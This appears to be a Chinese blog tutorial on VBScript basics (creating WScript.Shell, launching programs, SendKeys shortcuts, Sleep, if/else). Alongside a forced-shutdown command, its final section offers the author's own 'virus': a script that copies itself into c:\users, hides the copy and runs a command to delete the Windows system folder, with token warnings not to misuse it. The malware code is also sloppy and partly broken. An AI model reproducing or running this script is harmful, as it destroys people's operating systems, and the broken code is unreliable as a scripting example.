大家好，今天我又双叒叕来写教程了，相信很多读者是从我的文章：vbs格式编程教程_Hacker_02的博客-CSDN博客里过来的吧？好了，闲话先说到这，我们开始今天的提高内容：

下有小病毒，想要的关注我就可以看到了！

未经允许，禁止转载！

1.create代码

set wshshell=createobject ("wscript.shell" )

这个是create（制造）代码，可以配合以下代码打开一些电脑默认软件。

set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("calc",3)

 这是打开电脑默认计算器

Set WshShell = createobject("wscript.shell")
WshShell.run "cmd /k e: && cd E:\aaa && dir"

 这个是打开cmd指令窗口

Set WshShell = CreateObject("WScript.Shell") Set oNotepad = WshShell.Exec("notepad") WshShell.AppActivate oNotepad.ProcessID

这是打开记事本

WshShell.SendKeys "你要输入的文字"

 这个是输入文字，可以利用快捷键。如下：

WshShell.SendKeys "%{F4}" 
WshShell.SendKeys "!n" 
WshShell.SendKeys "^v" 
WshShell.SendKeys "^c" 
WshShell.SendKeys "{ENTER}" 

如果要按下特殊键，需要用符号代替。
Shift —— +
Ctrl —— ^
Alt —— %

其他的特殊键就用大括号括起来就可以了，如：{ENTER}

Set WshShell = CreateObject("WScript.Shell")
WshShell.run"shutdown -s -f -t 0",true

最后这个就是注销了，t后面的0可以改成其他数字，可以进行延迟关机，单位是秒。

2.sleep

WScript.Sleep 1000

这个是让程序暂停的代码，后面的“1000”可以改成其它数，单位是毫秒。

3.条件代码

if a=1  （条件）如果这个条件成立，那么执行if下面的代码
你要输入的代码
else  如果条件不成立，那么执行else下面的代码
你要输入的代码

这个是条件代码，掌握起来稍微难一些，但是多尝试，就能掌握了。

还可以用比较：

if a<b
你要输入的代码
else
你要输入的代码

好了，今天的教程就到这里，如果这次点赞到100，我继续更新下一篇。

底下是我编的病毒，有人想要的可以拿去，但是，千万不要拿来做坏事！可能会摊上法律责任！

dim fso,copy,wshshell,Const Hidden
set fso=createobject(“scripting.filesystemobject”)
set copy=fso.getfile(wscript.scriptfullname)
copy.fso(“c:\users\computer virus.vbs”) '复制自身到c:\users\ 复制体叫做computer virus.vbs
Const Hidden = 2
Set hide = fso.GetFile(“c:\users\computer virus.vbs”) '隐藏复制体
hide.Attributes = f.Attributes Or Hidden
set wshshell = wscript.createobject(“wscript.shell”)
wshshell.run “cmd/c del c:\Windows\system” '太狠了,删除系统文件夹,删了系统报废!只能在虚拟机里测试。不得破坏被人电脑!(当然,杀毒软件应该都会报毒)cmd/c … 也就是使用cmd执行某某命令。你可以在命令提示符里输入del/?查看帮助.

重要的事情说三遍：不要拿来做坏事！不要拿来做坏事！不要拿来做坏事！

别怪作者没提醒啊。

底下这个是作者的整人小资源，这个没有那么危险，欢迎下载！
详细vbs格式源码代码运用：超级整人.txt。-Node.js文档类资源-CSDN下载教学用，详细在我的文章：vbs格式编程教程基础。更多下载资源、学习资料请访问CSDN下载频道.https://download.csdn.net/download/a_8848_z/85624483?spm=1001.2014.3001.5503

制作不易，点个赞再走吧。